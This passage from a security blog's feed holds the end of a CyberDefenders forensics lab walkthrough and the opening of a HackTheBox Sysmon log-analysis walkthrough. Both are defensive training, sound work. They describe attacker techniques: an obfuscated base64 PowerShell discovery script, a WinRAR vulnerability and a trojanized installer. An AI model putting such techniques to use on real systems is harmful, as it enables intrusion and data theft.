767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/6cfba338399a25d5319af54a1638d3c8_MD5.png&#34; width=&#34;588&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;ProcMon: Filtering the powershell.exe process&lt;/p&gt;&#xA;&lt;p&gt;This narrows our focus to only PowerShell events, which helps us better understand what the script is doing. Since we&amp;rsquo;re looking for the &lt;em&gt;full path of the&lt;/em&gt; &lt;strong&gt;&lt;em&gt;file&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;storing the data collected&lt;/em&gt;, we&amp;rsquo;ll start by searching for &lt;code&gt;CreateFile&lt;/code&gt; events.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;483px&#34; data-flex-grow=&#34;201&#34; height=&#34;397&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/2cc5d2e519f08abf53f660c73bc142ec_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;ProcMon: Discovering CreateFile events&lt;/p&gt;&#xA;&lt;p&gt;By doing this, we&amp;rsquo;ll see that PowerShell creates a file named &lt;code&gt;BL4356.txt&lt;/code&gt; in the analysis environment. Simultaneously, the PowerShell window appears to be listing dozens of IP addresses as offline&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;428px&#34; data-flex-grow=&#34;178&#34; height=&#34;448&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/ffeb448020bf61781f83f77d87fdf61a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;PowerShell: Output of the run.ps1 script&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s confirm whether this &lt;code&gt;BL4356.txt&lt;/code&gt; artifact also exists in the victim image using &lt;em&gt;FTK Imager&lt;/em&gt; or &lt;em&gt;Arsenal&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;480px&#34; data-flex-grow=&#34;200&#34; height=&#34;400&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/19438a6f6a8d1a39d6a3ab46696c5867_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;FTK Imager: Confirming activity in the victim image&lt;/p&gt;&#xA;&lt;p&gt;Bingo! This confirms the same behavior in both environments. Between the PowerShell output and the contents of the file, it&amp;rsquo;s clear that the script is performing host discovery and saving the results.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s take it a step further and analyze the contents of &lt;code&gt;run.ps1&lt;/code&gt; directly. For this, we&amp;rsquo;ll use &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/a&gt;, since I suspect there&amp;rsquo;s some obfuscation involved.&lt;/p&gt;&#xA;&lt;p&gt;With &lt;em&gt;CyberChef&lt;/em&gt; open, click &lt;em&gt;Open as File&lt;/em&gt; in the upper-right to load the script into the input window. As expected, there&amp;rsquo;s a blob of base64-encoded strings, but decoding it isn&amp;rsquo;t quite so straightforward. Notice the &lt;em&gt;reverse&lt;/em&gt; operation? The script appears to convert &lt;code&gt;$best64code&lt;/code&gt; into an array, then reverse it back into a string.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;621px&#34; data-flex-grow=&#34;258&#34; height=&#34;309&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/eb9653ea3b7b94c9ef7b8e0b78297e5c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CyberChef: Analyzing the run.ps1 script&lt;/p&gt;&#xA;&lt;p&gt;To decode it, copy the &lt;code&gt;$best64code&lt;/code&gt; into a new &lt;em&gt;CyberChef&lt;/em&gt; tab, then add the &lt;em&gt;Reverse&lt;/em&gt; and &lt;em&gt;From Base64&lt;/em&gt; operations to your recipe — and &lt;strong&gt;voilÃ !&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;498px&#34; data-flex-grow=&#34;207&#34; height=&#34;385&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/386f0dd176f54cfd8cf6a92258b5930e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CyberChef: Decoding the run.ps1 script&lt;/p&gt;&#xA;&lt;p&gt;We can confirm that this script performs a host discovery scan and saves the results into the following path: &lt;code&gt;$env:UserProfile\AppData\Local\Temp\BL4356.txt&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;We now just need to substitute the victim&amp;rsquo;s actual &lt;code&gt;UserProfile&lt;/code&gt; path to construct the full answer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;979px&#34; data-flex-grow=&#34;408&#34; height=&#34;196&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/89b155ddb97c08c0d734a1942cb47bfd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Whew! That was a tough one — but that wraps up our investigation of the &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/spottedinthewild/?cta=navbar-sign-in&amp;amp;origin=%2Fblueteam-ctf-challenges%2Fspottedinthewild%2F&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;SpottedInTheWild&lt;/strong&gt;&lt;/a&gt; challenge! We walked through each phase of the attack, from identifying the initial malicious archive downloaded via &lt;em&gt;Telegram&lt;/em&gt;, to uncovering the use of a &lt;em&gt;WinRAR&lt;/em&gt; vulnerability, tracking persistence through scheduled tasks, and finally discovering how the attacker staged data for exfiltration.&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt; for putting together such a fun and challenging lab! There was some stumbling along the way, but this one really pushed me to think creatively and combine the strengths of static and dynamic analysis. It also highlighted how public tools like &lt;em&gt;Any.Run&lt;/em&gt;, &lt;em&gt;VirusTotal&lt;/em&gt;, and &lt;em&gt;CyberChef&lt;/em&gt; can help fill in the gaps when your own environment has limitations.&lt;/p&gt;&#xA;&lt;p&gt;I initially chose this challenge to learn more about &lt;strong&gt;Arsenal Image Mounter&lt;/strong&gt;, since it was new to me — but it ended up becoming a much more sprawling example of how defenders can pivot between forensic artifacts like the &lt;code&gt;$MFT&lt;/code&gt;, USN Journal, and event logs to reconstruct attacker behavior. Whether it was filtering for &lt;code&gt;CreateFile&lt;/code&gt; events in &lt;em&gt;ProcMon&lt;/em&gt;, decoding obfuscated PowerShell in &lt;em&gt;CyberChef&lt;/em&gt;, or correlating timestamps across tools, every step helped us build a clearer picture of the compromise. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/spottedinthewild/?cta=navbar-sign-in&amp;amp;origin=%2Fblueteam-ctf-challenges%2Fspottedinthewild%2F&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/spottedinthewild/?cta=navbar-sign-in&amp;amp;origin=%2Fblueteam-ctf-challenges%2Fspottedinthewild%2F&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Flare-VM:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/mandiant/flare-vm&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Arsenal Recon — Arsenal Image Mounter:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://arsenalrecon.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://arsenalrecon.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Magnet Forensics — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Harnessing MFT parsing for incident response investigations&amp;rdquo;&#xA;:** &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/harnessing-mft-parsing-for-incident-response-investigations/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.magnetforensics.com/blog/harnessing-mft-parsing-for-incident-response-investigations/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — SANS SEC401.rar:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/d1a55bb98b750ce9b9d9610a857ddc408331b6ae6834c1cbccca4fd1c50c4fb8&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/d1a55bb98b750ce9b9d9610a857ddc408331b6ae6834c1cbccca4fd1c50c4fb8&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;NIST NVD — CVE-2023€“38831:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://nvd.nist.gov/vuln/detail/cve-2023-38831&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://nvd.nist.gov/vuln/detail/cve-2023-38831&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Exterro — FTK Imager:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.exterro.com/digital-forensics-software/ftk-imager&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.exterro.com/digital-forensics-software/ftk-imager&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Detect it Easy:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/horsicq/Detect-It-Easy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/horsicq/Detect-It-Easy&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — 1102(S): The audit log was cleared:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-1102&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-1102&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Any.Run:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.any.run/tasks/69a81081-12f1-4fde-bd29-596d67b44cfb&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.any.run/tasks/69a81081-12f1-4fde-bd29-596d67b44cfb&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Sysinternals — Process Monitor:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/procmon&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/sysinternals/downloads/procmon&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>HackTheBox  — Unit42 Sherlock Walkthrough</title>
            <link>https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/</link>
            <pubDate>Sun, 05 Oct 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/81ecbde8b32200b9b0d5f761df2caa61_MD5.png&#34; alt=&#34;Featured image of post HackTheBox  — Unit42 Sherlock Walkthrough&#34; /&gt;&lt;h3 id=&#34;hackthebox--unit42--sherlock-walkthrough&#34;&gt;HackTheBox | Unit42 | Sherlock Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-masquerading-malware-using-sysmon-logs-and-the-windows-eventviewer&#34;&gt;Investigating Masquerading Malware Using Sysmon Logs and the Windows Event Viewer.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;81ecbde8b32200b9b0d5f761df2caa61_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;320&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/81ecbde8b32200b9b0d5f761df2caa61_MD5.png&#34; width=&#34;320&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/632&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.hackthebox.com/sherlocks/632&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome back to another weekly walkthrough! If you’ve stumbled across this blog while searching for a comprehensive guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/632&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Unit42&lt;/strong&gt;&lt;/a&gt; Sherlock challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hack The Box&lt;/strong&gt;&lt;/a&gt;, you’re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;This is the third challenge in the &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/tracks/Intro-to-Blue-Team&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Intro to Blue Team&lt;/em&gt;&lt;/a&gt; track, but you can jump in in any order. If you’re following along or you’re a completionist, check out my write-up of the previous challenge — &lt;strong&gt;BFT&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://stumblesec.com/posts/hackthebox-bft-sherlock-walkthrough/&#34; &gt;&lt;strong&gt;HackTheBox— BFT Sherlock Walkthrough&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This challenge leans heavily into endpoint forensics using a real-world inspired narrative. It’s up to us to piece together what happened using only the provided &lt;strong&gt;Sysmon&lt;/strong&gt; logs. We’ll use tools like &lt;strong&gt;Windows Event Viewer&lt;/strong&gt;, &lt;strong&gt;VirusTotal&lt;/strong&gt;, and &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; to uncover and document the infection chain.&lt;/p&gt;&#xA;&lt;p&gt;This one’s a great opportunity to explore how attackers might abuse legitimate cloud-based delivery mechanisms to deliver trojanized installers masquerading as legitimate tools.&lt;/p&gt;&#xA;&lt;p&gt;So, if you’re new to &lt;em&gt;Sysmon&lt;/em&gt; or just want to sharpen your log analysis skills, this is a great challenge to put your hands on. Let’s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;In this Sherlock, you will familiarize yourself with Sysmon logs and various useful EventIDs for identifying and analyzing malicious activities on a Windows system. Palo Alto’s Unit42 recently conducted research on an UltraVNC campaign, wherein attackers utilized a backdoored version of UltraVNC to maintain access to systems. This lab is inspired by that campaign and guides participants through the initial access stage of the campaign.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-the-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the Analysis Environment &amp;amp; Extract the Challenge File:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first! It’s always important when working with lab/challenge files from &lt;strong&gt;Hack the Box&lt;/strong&gt; &lt;em&gt;(or any educational lab/challenge/range)&lt;/em&gt; to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. As this is a Windows-based challenge, I’m using &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;FLARE-VM&lt;/strong&gt;&lt;/a&gt; for this challenge which is “&lt;em&gt;a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).&lt;/em&gt;”&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused I’m going to skip the step-by-step setup of &lt;em&gt;FLARE-VM&lt;/em&gt; but _i_f you’d like to set up your own environment, please follow the directions provided directly by &lt;em&gt;FLARE-VM&lt;/em&gt; on &lt;em&gt;GitHub.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  title=&#34;https://github.com/mandiant/flare-vm&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;GitHub — mandiant/flare-vm: A collection of software installations scripts for Windows systems that…&lt;/strong&gt;&#xA;_A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-how-many-event-logs-are-there-with-event-id11&#34;&gt;Question 1: How many Event logs are there with Event ID 11?&#xA;&lt;/h3&gt;&lt;p&gt;Let’s kick off our investigation by extracting the &lt;code&gt;unit42.zip&lt;/code&gt; archive. This leaves us with a Windows Event Log file: &lt;code&gt;Microsoft-Windows-Sysmon-Operational.evtx&lt;/code&gt;, which we can analyze using &lt;strong&gt;Windows Event Viewer&lt;/strong&gt;. Go ahead and double-click the file to launch &lt;em&gt;Windows Event Viewer&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;But first, before we go any further, let’s take a step back and get a quick refresher on what &lt;em&gt;Sysmon&lt;/em&gt; is and what’s contained in its event logs.&lt;/p&gt;&#xA;&lt;p&gt;If you haven’t heard of it before, &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Sysmon&lt;/strong&gt;&lt;/a&gt; is a utility that’s part of the &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Microsoft Sysinternals Suite&lt;/strong&gt;&lt;/a&gt;. It runs as a system service and monitors detailed system activity like process creation, file creation, and network connections, and logs it to the &lt;em&gt;Windows Event Log&lt;/em&gt;. &lt;em&gt;Sysmon&lt;/em&gt; also has its own event types that can be used to filter specific activity in the logs, which is exactly what we’ll do in this challenge.&lt;/p&gt;&#xA;&lt;p&gt;Let’s jump back to &lt;em&gt;Event Viewer&lt;/em&gt; and make sure we’re looking at the &lt;code&gt;Microsoft-Windows-Sysmon-Operational&lt;/code&gt; logs under &lt;em&gt;Saved Logs&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we’re looking for only &lt;strong&gt;Event ID 11&lt;/strong&gt; (&lt;em&gt;FileCreate&lt;/em&gt;), so we need to filter the log to accurately count these events. We can do this by clicking &lt;em&gt;Filter Current Log…&lt;/em&gt; on the right-hand column and entering &lt;code&gt;11&lt;/code&gt; in the Event ID box.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;01ab6c8e5b4e82a41da229fe1354c53e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;433px&#34; data-flex-grow=&#34;180&#34; height=&#34;443&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/01ab6c8e5b4e82a41da229fe1354c53e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Windows Event Viewer: Filtering Sysmon Event ID 11&lt;/p&gt;&#xA;&lt;p&gt;Once the filter is applied, we can see the number of events in the filtered log above the entries:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;be11d806d2d356f5c9d85c186593d18c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;448px&#34; data-flex-grow=&#34;186&#34; height=&#34;428&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/be11d806d2d356f5c9d85c186593d18c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Windows Event Viewer: Identifying the number of filtered events&lt;/p&gt;&#xA;&lt;p&gt;This result tells us that there are &lt;strong&gt;56 file creation events&lt;/strong&gt; captured by &lt;em&gt;Sysmon&lt;/em&gt; on the victim system.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f1f1110e5920187dca7e76af4df8c411_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1586px&#34; data-flex-grow=&#34;661&#34; height=&#34;121&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/f1f1110e5920187dca7e76af4df8c411_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-whenever-a-process-is-created-in-memory-an-event-with-event-id-1-is-recorded-with-details-such-as-command-line-hashes-process-path-parent-process-path-etc-this-information-is-very-useful-for-an-analyst-because-it-allows-us-to-see-all-programs-executed-on-a-system-which-means-we-can-spot-any-malicious-processes-being-executed-what-is-the-malicious-process-that-infected-the-victimssystem&#34;&gt;Question 2: Whenever a process is created in memory, an event with Event ID 1 is recorded with details such as command line, hashes, process path, parent process path, etc. This information is very useful for an analyst because it allows us to see all programs executed on a system, which means we can spot any malicious processes being executed. What is the malicious process that infected the victim’s system?&#xA;&lt;/h3&gt;&lt;p&gt;For our next task, we need to determine which malicious process infected the victim’s system. To do this, we’ll filter the &lt;em&gt;Sysmon&lt;/em&gt; logs again, this time searching for &lt;strong&gt;Event ID 1&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;According to the &lt;em&gt;Sysmon&lt;/em&gt; documentation, &lt;strong&gt;Event ID 1&lt;/strong&gt; details &lt;em&gt;process creation events&lt;/em&gt; and &lt;em&gt;“provides extended information about a newly created process. The full command line provides context on the process execution.”&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we’ve filtered the &lt;em&gt;process creation&lt;/em&gt; events, we can start analyzing them. For readability, I’ve switched to the &lt;em&gt;Details&lt;/em&gt; tab instead of the default &lt;em&gt;General&lt;/em&gt; tab.&lt;/p&gt;&#xA;&lt;p&gt;Starting with the earliest events first, the second entry reveals something suspicious — an unusual executable, &lt;code&gt;Preventivo24.02.14.exe.exe&lt;/code&gt;, located in the victim’s &lt;code&gt;Downloads&lt;/code&gt; folder. Of all the events, this one stands out as the most likely culprit with the available data.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b116885cb3179276a3cae3bfcc3c966e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;428px&#34; data-flex-grow=&#34;178&#34; height=&#34;448&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/b116885cb3179276a3cae3bfcc3c966e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Windows Event Viewer: Identifying the malicious process with Sysmon Event ID 1&lt;/p&gt;&#xA;&lt;p&gt;But we don’t have to guess! &lt;em&gt;Sysmon&lt;/em&gt; also handily provides the &lt;em&gt;file hash values&lt;/em&gt; under the &lt;code&gt;Hashes&lt;/code&gt; field. We can use these hashes to pivot out to an external threat intelligence service like &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; to check if this exact binary has been analyzed before and make a more informed decision.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7153519ecb54087df6632557b99f67d4_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;927px&#34; data-flex-grow=&#34;386&#34; height=&#34;207&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-unit42-sherlock-walkthrough/7153519ecb54087df6632557b99f67d4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/0cb44c4f8273750fa40497fca81e850f73927e70b13c8f80cdcfee9d1478e6f3&#34;  